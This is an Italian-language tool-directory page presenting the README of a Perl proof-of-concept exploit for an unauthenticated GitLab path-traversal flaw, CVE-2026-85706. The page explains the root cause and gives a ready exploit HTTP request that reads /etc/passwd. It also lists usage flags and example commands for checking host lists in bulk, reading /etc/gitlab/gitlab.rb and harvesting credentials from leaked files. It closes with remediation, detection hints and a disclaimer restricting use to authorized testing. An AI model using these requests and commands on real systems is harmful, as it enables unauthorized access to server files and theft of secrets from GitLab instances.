Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-85706 — PoC in Perl che sfrutta CVE-2026-85706, un path traversal non autenticato in GitLab che consente la lettura arbitraria di file, con scansione di massa e raccolta di credenziali. | Kitploit
Strumenti/GitHubGitHub/gabrielunknown/cve-2026-85706
Scanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiRaccolta InformazioniSicurezza WebPenetration TestingRed Teaming
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

PoC in Perl che sfrutta CVE-2026-85706, un path traversal non autenticato in GitLab che consente la lettura arbitraria di file, con scansione di massa e raccolta di credenziali.

Vedi Repository
8h 39m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-85706 — Lettura arbitraria di file non autenticata in GitLab

CVSS GitLab License MITRE

Solo per penetration testing autorizzato e operazioni Red Team.
L'uso non autorizzato costituisce reato penale. Vedi Avviso legale.


Panoramica

CVE-2026-85706 è una vulnerabilità di path traversal con CVSS 10.0 in GitLab Community ed Enterprise Edition che consente a un attaccante completamente non autenticato di leggere file arbitrari dal filesystem del server con una singola richiesta HTTP. Nessuna credenziale, nessun token, nessuna interazione utente richiesta.

  • Divulgata: 10 settembre 2026
  • Primo sfruttamento osservato: 11 settembre 2026 (entro 6 ore dalla divulgazione)
  • Aggiunta al CISA KEV: 11 settembre 2026
  • Corretta in: GitLab 19.1.8 / 19.2.6 / 19.3.2

  • Versioni interessate

    BranchIntervallo vulnerabileCorretta in
    18.x18.7 → 19.1.719.1.8
    19.219.2.0 → 19.2.519.2.6
    19.319.3.0 → 19.3.119.3.2

    Analisi tecnica

    Contesto architetturale

    Lo stack HTTP di GitLab ha tre livelli:

    root@kitploit:~
    Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
    

    Workhorse agisce come reverse proxy intelligente: per alcuni endpoint di "upload" (commit di repository, operazioni su file), legge i corpi delle richieste multipart, salva i dati dei file su disco e riscrive la richiesta prima di inoltrarla a Puma. Fondamentalmente, allega un header JWT (Gitlab-Workhorse-Api-Request) a ogni richiesta che proxa. Rails poi valida questo JWT (tramite require_gitlab_workhorse!) prima di eseguire qualsiasi logica dell'handler.

    Causa principale — Disallineamento nella decodifica dei percorsi a tre livelli

    Livello 1 — Corrispondenza delle route di Workhorse:
    Workhorse confronta i percorsi delle richieste usando una regex compilata che opera sulla stringa di byte grezza, percent-encoded. NON decodifica le sequenze %XX prima della corrispondenza.

    Livello 2 — Routing Puma/Rack:
    Puma decodifica le sequenze %XX prima che Grape instradi la richiesta. Quindi una richiesta a /repository/%63ommits viene decodificata in /repository/commits e instradata a CommitsController.

    Livello 3 — Lettura file pre-auth:
    Una volta nell'handler Rails (raggiunto senza il JWT di Workhorse perché Workhorse non ha mai fatto match sulla richiesta), l'handler legge params[:file][:path] dalla query string e chiama:

    root@kitploit:~
    File.open(params[:file][:path])   # ← avviene PRIMA dell'autenticazione
    

    Il trucco del bypass

    Codificando in percentuale un carattere in un segmento di percorso statico, la richiesta dell'attaccante scivola oltre Workhorse senza essere rilevata:

    SegmentoOriginaleForma di bypassCarattere codificato
    commitscommits%63ommitsc → %63
    commitscommits%43ommitsC → %43
    repositoryrepository%72epositoryr → %72
    filesfiles%66ilesf → %66
    (qualsiasi)commitscommits/slash finale
    (qualsiasi)commitscommits.jsonsuffisso Grape

    Meccanismo di esfiltrazione del contenuto

    Dopo che il file è stato aperto, il contenuto viene esfiltrato tramite il parser della query-string di Rack:

    root@kitploit:~
    Rack::Utils.parse_nested_query(File.read(path))
    

    Se il file contiene un % non seguito da due cifre esadecimali valide (cosa comune nei file di configurazione Ruby, CI YAML, log, ecc.), Rack solleva:

    root@kitploit:~
    InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
    

    Questo corpo di risposta 400 contiene il contenuto grezzo del file fino al byte incriminato incluso — rivelando il contenuto del file al chiamante non autenticato.

    I file senza sequenze % sfruttabili (es. /etc/passwd pulito) restituiscono un 401 o un errore di validazione dei parametri dopo la lettura: questo funge da oracolo di esistenza del file (la lettura è comunque avvenuta pre-autenticazione).

    Struttura della richiesta di exploit

    root@kitploit:~
    POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
    Host: gitlab.corp.com
    User-Agent: cve-2026-85706-perl-poc/1.0.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

    Mappatura MITRE ATT&CK

    TecnicaIDImplementazione in questo PoC
    File and Directory DiscoveryT1083La modalità --scan sonda 38 percorsi sensibili del server
    Credentials In FilesT1552.001--harvest estrae chiavi/token/password dal contenuto divulgato

    Installazione

    Requisiti

    ModuloPacchettoRuolo
    LWP::UserAgentlibwww-perlClient HTTP (obbligatorio)
    LWP::Protocol::httpslibwww-perlSupporto HTTPS (obbligatorio)
    URI::Escapeliburi-perlCodifica query-string (obbligatorio)
    Term::ANSIColorlibterm-ansicolor-perlOutput colorato (opzionale)
    JSONlibjson-perlModalità output JSON (opzionale)
    root@kitploit:~
    # Debian/Ubuntu
    apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
    
    # RHEL/Fedora
    sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
    
    # CPAN
    cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
    
    # Rendi eseguibile
    chmod +x exploit.pl
    

    Utilizzo

    root@kitploit:~
    Usage: exploit.pl [OPTIONS]
    
    Target:
      -u, --url <URL>            GitLab base URL            [default: http://localhost:8080]
      -p, --project-id <ID>      Numeric ID or namespace%2Fproject  [default: 1]
                                  Commits API forms: project must be anonymously accessible
                                  Files API forms:   any value works (file read precedes auth)
    
    Exploitability check:
      -c, --check                Single-target check (quick by default — ≤9 requests)
          --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
      -L, --check-host-list <FILE>  Check multiple targets (one URL/host per line)
                                 Add --full for the 4-stage sweep on every host
    
    Single-file read:
      -f, --file <PATH>          Absolute server path to read (e.g. /etc/passwd)
    
    Scan mode (T1083 — File and Directory Discovery):
      -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
      -w, --wordlist <FILE>      Use a custom file list (one absolute path per line)
      -H, --harvest              Extract credentials from leaked content (T1552.001)
    
    Output:
      -o, --output <FILE>        Tee all output to file
      -j, --json                 Emit results as JSON array (requires JSON.pm)
      -v, --verbose              Print full request URL before each probe
          --no-color             Disable ANSI colour output
    
    Connection:
      -t, --timeout <N>          Per-request timeout in seconds  [default: 15]
      -d, --delay <N>            Delay between requests in seconds (float)  [default: 0]
      -r, --retries <N>          Retry count on connection error  [default: 2]
      -A, --user-agent <STR>     Override User-Agent string
    

    Controllo rapido vs completo

    Rapido (predefinito)Completo (--full)
    Richieste≤9 (1 preflight + ≤4×2)27+
    Uscita anticipataSì — si ferma al primo differenziale confermatoNo — esamina tutte le 22 forme
    Informazioni versioneNoSì
    Forme di bypass4 rappresentative Files APITutte le 22 (Commits + Files API)
    Ideale perRicognizione rapida, grandi liste di hostReport di pentest, preparazione --file/--scan

    Pipeline del controllo rapido:

    1. GET /api/v4/version — raggiungibilità + indizio GitLab
    2. Per ciascuna delle 4 forme di bypass Files API: sonda /etc/hostname + canary univoco
    3. canary → 'local file not present' ∧ hostname ≠ canary → VULNERABILE (esce immediatamente)
    4. Tutte le forme esaurite senza differenziale → NON VULNERABILE

    Pipeline del controllo completo (--full):

    1. Rilevamento GitLab + fingerprinting della versione
    2. Sonda di controllo (baseline Workhorse)
    3. Tutte le 22 forme di bypass × percorso canary
    4. Conferma differenziale con la migliore forma confermata

    --project-id e modalità di controllo

    Il flag --project-id è utilizzabile in ogni modalità, inclusi --check e --check-host-list. Comprendere l'interazione:

    Gruppo di bypassFormeDipendenza dal project ID
    Files API (%66iles, %46iles, re%70ository/files, …)14Nessuna — la lettura del file precede il controllo del progetto per design del CVE. Qualsiasi ID (anche inesistente) produce il segnale corretto.
    Commits API (%63ommits, %43ommits, repository/commits/, …)8Richiesto — il progetto deve esistere ed essere leggibile anonimamente. Restituisce project-gate in caso contrario.

    Linee guida pratiche:

    • --check (rapido): usa solo forme Files API → il project ID è irrilevante.
    • --check --full: testa tutte le 22 forme. Se conosci un ID di progetto pubblico, passa --project-id <N> per confermare anche le forme Commits API.
    • --check-host-list: un singolo --project-id raramente corrisponde a un progetto pubblico su tutti gli host. Omettilo.

    Esempi

    root@kitploit:~
    # Quick check — ≤9 requests, binary verdict
    ./exploit.pl -u https://gitlab.corp.com --check
    
    # Quick check with known public project (extends Commits API coverage in --full mode)
    ./exploit.pl -u https://gitlab.corp.com --check --project-id 5  # (default: --project-id 1)
    
    # Full 4-stage check — version + all 22 bypass forms enumerated
    ./exploit.pl -u https://gitlab.corp.com --check --full
    
    # Quick scan of a host list (≤9 probes per host)
    ./exploit.pl --check-host-list targets.txt
    
    # Full scan of a host list (version info in summary table)
    ./exploit.pl --check-host-list targets.txt --full
    
    # Host list, JSON output for pipeline integration
    ./exploit.pl --check-host-list targets.txt --json --output results.json
    
    # Host list with 2-second inter-host delay and saved report
    ./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
    
    # Read a single file
    ./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
    
    # Read GitLab master config and extract credentials
    ./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
    
    # Full discovery scan with credential harvesting, log to file
    ./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
    
    # Custom wordlist, JSON output, 1-second delay between requests
    ./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
    
    # Verbose single-file read (shows full request URLs)
    ./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
    

    Verdetti delle risposte

    VerdettoSignificato
    leakContenuto del file restituito nel corpo della risposta tramite errore di parsing di Rack
    leak-fragmentEco parziale del contenuto tramite frammento del nome del parametro
    read-noechoHTTP 401 sul percorso di bypass — ambiguo: o la lettura del file è avvenuta pre-auth (vulnerabile, contenuto pulito senza sequenze % errate), o l'autenticazione scatta prima della lettura (server corretto). Usa --check per confermare tramite differenziale
    missingIl percorso di bypass ha funzionato; handler raggiunto; file non presente o non leggibile
    rewriteWorkhorse ha intercettato questa forma di percorso — bypass fallito
    project-gateCommits API ha rifiutato il progetto; prova le forme Files API
    norouteRails non ha instradato questa variante di percorso

    Miglioramenti rispetto al PoC Python originale

    FunzionalitàPoC PythonQuesto PoC Perl
    Varianti di percorso di bypass615
    Scansione file in blocco (T1083)✗✓ Wordlist integrata di 38 percorsi
    Raccolta credenziali (T1552.001)✗✓ 22 pattern di credenziali
    Output JSON✗✓ --json
    Output su file / tee✗✓ --output
    Messaggi oracolo di esistenza fileBaseEspliciti, con codice colore
    Logica di retry✗✓ --retries configurabile
    Ritardo per richiesta✗✓ --delay (secondi float)
    User-Agent personalizzato✗✓ --user-agent
    Namespace/project ID✗✓ Codifica automatica / → %2F
    Modalità verbosa✗✓ --verbose

    Remediation

    1. Applica subito la patch: Aggiorna a GitLab 19.1.8, 19.2.6 o 19.3.2.
    2. Breve termine: Limita l'accesso pubblico all'istanza GitLab tramite controlli di rete.
    3. Rotazione delle credenziali: Dopo il patching, ruota tutti i segreti che potrebbero essere stati esposti:
      • secret_key_base e otp_key_base in gitlab.rb
      • Password del database
      • Chiavi SSH (/home/git/.ssh/, /root/.ssh/)
      • Variabili CI/CD e token di registrazione dei runner
      • Deploy token e personal access token

    Rilevamento

    Cerca richieste POST o PUT verso percorsi /api/v4/projects/*/repository/ contenenti:

    • Segmenti statici percent-encoded (%63, %43, %72, %70, %66, %46, ecc.)
    • Parametro query file.path
    • Slash finale o suffisso di formato .json sugli endpoint commits o files

    Riferimenti

    • CVE Record — cve.org
    • GitLab Patch Release 19.3.2
    • The Hacker News — Copertura CVSS 10
    • Forkast News — Analisi tecnica
    • Security Affairs — Sfruttamento attivo
    • PoC Python — guneykabel
    • MITRE T1083 — File and Directory Discovery
    • MITRE T1552.001 — Credentials In Files

    Avviso legale

    Questo strumento è fornito strettamente per:

    • Incarichi di penetration testing autorizzati (richiesta autorizzazione scritta)
    • Operazioni Red Team all'interno dello scope contrattuale
    • Ricerca sulla sicurezza in ambienti di laboratorio controllati e isolati
    • Competizioni CTF (Capture The Flag)
    • Scopi difensivi: comprendere la vulnerabilità per rilevarla/mitigarla

    L'uso non autorizzato contro sistemi di cui non sei proprietario o per cui non hai esplicita autorizzazione scritta a testare è illegale in praticamente ogni giurisdizione e può comportare azioni penali ai sensi delle leggi sull'abuso informatico (CFAA, Computer Misuse Act, ecc.).

    L'autore e i contributori di questo strumento non si assumono alcuna responsabilità per qualsiasi uso improprio o danno causato da questo software.


    Crediti

    • PoC Python originale: guneykabel — proof-of-concept iniziale che ha dimostrato la tecnica di bypass principale
    • Assegnazione e divulgazione CVE: GitLab Security Team
    • Questo PoC Perl: Motore di rilevamento multi-forma esteso, raccolta credenziali, scansione in blocco, output pipeline JSON e logica di conferma differenziale
    Scarica lo strumento